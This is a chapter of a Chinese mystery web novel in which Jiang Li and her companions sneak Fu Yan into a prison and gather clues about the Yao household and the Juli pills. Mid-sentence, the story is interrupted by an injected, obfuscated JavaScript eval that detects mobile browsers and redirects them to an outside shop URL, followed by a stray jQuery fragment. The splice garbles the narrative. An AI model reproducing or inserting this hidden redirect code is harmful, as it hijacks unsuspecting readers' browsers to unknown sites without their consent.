姜梨与方才的小乞丐、小女孩及老乞丐四人躲在暗处,看着换上粗布衣裳的傅琰,正跟着身旁穿着粗布衣裳的大叔,一同推着一辆堆满散发恶臭气味的恭桶的木头车停在牢狱大门口。
“这办法能行嘛?”姜梨有所质疑地低声问道。
“姐姐,放心!”小乞丐拍了拍胸脯保证似的解释,“一年到头,或多或少都会有几个同你们一样想去大牢看望犯人。我们都是托刘大叔这样给送进去。”
只见大叔走到门口的衙差面前,熟练地从身上掏出一块木头做的令牌递给他。只见那衙差将令牌握在手上看了看后警惕地看着傅琰,嘴里问着:“今天怎么多了一个人?”
“咳、咳、咳……”大叔握拳放在嘴边连咳三声,便开口解释道:“差大爷,我今日身体不太利索,就唤了自家侄儿来帮把手。”
衙差听了这话,认真地看了看傅琰身形,并唤了句:“抬起头来瞧瞧!”
傅琰将之前压低的帽檐微微抬了起来,露出大半张脸。旁边的大叔唯恐衙差再仔细地看下去看出什么端倪,连忙从衣袖中掏出一串铜钱,脸上堆着笑说道:“大爷、大爷,这天寒买点酒暖暖身子。”
等衙差掩耳盗铃似地收了这串钱时,大叔立马装作难事缠身的样子说道:“大爷,这换恭桶的时间马上就过了,要是被上头发现这恭桶没及时换,我这份差事就……”
“好了,你同你侄子赶紧进去做事,换完就赶紧出来!”衙差捂住鼻子,摆了摆交代道。
躲在一旁的姜梨看见两人顺利地进去了,便带着三人在不远处寻了家茶馆。
见到精致美味的点心上来,大大的碟子里就只摆了三小块。小乞丐快速地直接用手分别给自家妹妹和老乞丐拿了一块,留下最后一块在碟子里。
只是这点心刚被放到老乞丐面前,又被他默默地推到小乞丐面前,眼神示意其自己吃。
小女孩手中捻着那块点心,虽然眼中流露出想吃,但一直未曾放在嘴里。
见到这番场景,姜梨直接伸手将碟子里最后的点心给拿了出来,放到老乞丐的面前,“方才点的点心还没上完,你们先吃。”
说完,她疼惜地摸了摸坐在身旁的小女孩的脑袋,豪爽道,“快尝尝!要是好吃,等下给你们打包几份。”
小女孩伸出右手,手掌握拳,伸出大拇指,指尖朝着姜梨,向其弯曲了两下。
姜梨虽看不懂这手势是什么意思,但是明白了小女孩原来不能说话,难怪一路上都没有听到她出声。
只听姜梨怜惜地问道:“她这哑疾是天生的嘛?”
“不是!”老乞丐气虚地满是愧疚地叹道:“她幼时发了场大病,没钱买药。待病熬过去之后,嗓子就不能用了。”
“这确实可惜了!”姜梨见到乖巧的小女孩,眼中皆是惋惜。
“鱼儿的嘴巴不会说话,但是她的手会说话。她方才就在同你道谢呢!”小乞丐自豪地说道,“她可比我们普通人厉害多了。”
“不用道谢!”姜梨抚摸着小女孩毛茸茸的脑袋,看着其扑闪扑闪的大眼睛眼笑着提醒道。
“大姐姐,你们去看那姚家姑爷是要打听姚府的凶杀案嘛?”小乞丐嘴里边吃着美味的点心,边好奇地出声问道。
“你个小孩子家家的,不要问那么多。”
恰巧这时又端来了新点心,姜梨伸手拿了块糕点,塞到小乞丐的嘴里,补充了道:“还是多吃点东西。”
“嗯?嗯”小乞丐嘴里还在嚼着未吃完的糕点,突然间又被塞了一块,差点被噎住,他自己连忙端起茶杯喝了口水通了通。
待吃完嘴里塞的那些点心,他自言自语地感叹道:“这姚家姑爷平时看起来怯声怯气的样子,任谁都不会想到他会有胆子做出谋害姚员外的事情。”
“怯声怯气”,姜梨瞬间就被这个词吸引了注意力,她听完万梨酒楼那人所讲述的信息,脑海中想象的姚家姑爷是个手握实权极具威严的掌权者。
“你认识姚家那位姑爷?”姜梨语气中充满不确信的意味。
“认识、认识。”小乞丐伸手又拿了一块糕点往嘴里塞,边吃边回想道:“姚家姑爷以前时常会在镇上的城隍庙中搞义诊,我次次都陪爷爷去看诊。去的次数多了姚家姑爷就熟识了我,之后再去的话他总会差人拿些馒头给我。”
待小乞丐说完之后,姜梨说了句:“听你这么说,姚家那位姑爷可称的算是位善人!”
还未等小乞丐回话,她又继续追问道:“你怎么看出姚家姑爷是个怯声怯气的人?”
小乞丐突然间放下手中的糕点,往前凑近了小声说道:“我曾看到过姚小姐对姚姑爷动手。”
“你确定你没有看错?”姜梨颇为震惊地看向小乞丐,话音中带着些质疑之气地问道。
“肯定没有看错。”小乞丐点了点头,语气肯定地答道。
见到姜梨一副不相信的模样,他就将当时的场景仔细回想着说了出来:“当时我正陪着爷爷在排队等候义诊,突然间肚子痛了起来。我就独自跑到城隍庙后院的茅房去蹲坑,蹲完出来见到后院里的果树结出了果子,便想着摘些回去当晚饭。”说到这,小乞丐偷偷抬头看了一眼姜梨。
见到姜梨没有露出嫌弃鄙夷的目光,小乞丐继续地说了下去:“就在我摘到一半的时候,就听到姚家小姐同姚姑爷吵吵闹闹地走了进来。当时姚小姐脸上的表情十分严肃,好像因什么事情指责着姚姑爷,姚姑爷最初耷拉着一张脸,默不作声地听训。但说到什么药丸的时候,姚姑爷出声说了几句话,姚小姐突然抬起手给了他一巴掌。打完之后,立马传来了其他人的脚步声,他们就没有再继续说下去了。”
“你知道他们当时是因为什么事情争吵的嘛?谈论的又是什么药丸?”姜梨追问道。
只见小乞丐摇了摇自己的脑袋,出声回答道:“不知道,当时同他们离得有些距离,听不清。”
万梨镇口,有一个茅草搭建的棚子,棚子前挂着一张破旧的褐色布,布上面只有个大大的红字“茶”。茶摊里面摆了三张老木头做的桌椅,桌上放着几只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610494|205918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
粗瓷茶碗。
许是天色已晚,来来往往的人大多数是行色匆匆地赶路。
茶摊里十分冷清,只有两个客人。
这两个客人不是别人,正是从姚员外府上出来的傅妍妤与叶乾。
他们四人最初分头行动时就约好酉时末在镇口汇合,两人来早了片刻时间,而这镇口只有一处小小的茶摊可以挡风取暖。
傅妍妤先是给自己倒了杯店家刚刚端上来的茶水,顺便给坐在对面的叶乾也倒了杯,并将杯子推推到他面前,说道:“喝杯茶,驱驱寒气!”
只见叶乾看了眼茶碗,茶碗外部的图案被磨得有些模糊,碗沿还有几处有参差不齐的缺口,冒着热气的茶水上面还飘着几片零散的茶叶。他只道了句“多谢!”,却没有端起茶碗喝上一口。
傅妍妤见状,心中便知叶乾应该是嫌弃这茶具简陋,但她并没有说什么,而是低头喝了自己这杯还冒着热气的茶水。
就在傅妍妤刚喝完第二杯茶时,傅琰与姜梨两人就出现了。
姜梨见到傅妍妤与叶乾,不顾同行的傅琰,连忙小跑了过去,站在他们二人面前,神情激动万分,用着故作神秘的语气问道:“阿妤,你们可知道这最后一颗聚力丸是卖给了谁?”
只见这边傅妍妤摇了摇头,身旁的叶乾出声反问道:“是谁?”
就听到后边傅琰面色冷峻地揭晓道:“是玄真派的必言师叔。”
“你这会怎么说话这么快。”被抢话了的姜梨朝刚刚进来的傅琰投去个不悦的眼神。
傅琰刚坐下来,就将自己从姚家姑爷那得知的消息简单地讲述出来:“姚家药铺自姚家姑爷同姚家小姐离开后,聚力丸就没有再生产出来过。姚家药铺当时就只剩两颗,一颗被姚公子拿走了,另一颗则是被姚家姑爷卖给了必言师叔。”
傅妍妤眉头紧蹙,若有所思地喃喃道:“这最后两颗聚力丸怎么这么凑巧,全都落到玄真派弟子的手中。”
“阿妤,你们从姚员外身上可打听到什么消息?”傅琰冷声问道。
“姚员外身上有疾,我们并未与其交谈上。”傅妍妤道,“倒是在姚府碰到了一个熟人。”
“熟人?”傅琰直接问道:“谁?”
“玄真派的姚子谦,原来他就是姚员外归家的儿子。”傅妍妤答道,“不过他们父子的关系看着并不像传闻中那般好。”
在旁的叶乾赞同地道:“比起姚公子,姚员外似乎更加信任姚珍。”
“是的。”
傅妍妤点了点头,也察觉到这毫不起眼的细节。
姚员外起初知道她是姚公子找来的大夫,毫不犹豫地摆手拒绝诊病;但经姚小姐劝说后,就松口同意。
“看来这姚府里的谜团多着呢!”叶乾轻飘飘地道了句。
“不过话又说回来了,玄真派的陆必言到底为啥要买走最后一颗聚力丸?”姜梨问出疑惑。
“聚力丸、千金绝魂针、万梨酒楼、玄真派,这四者之间到底有什么联系?”傅妍妤梳理思绪,深思自语道。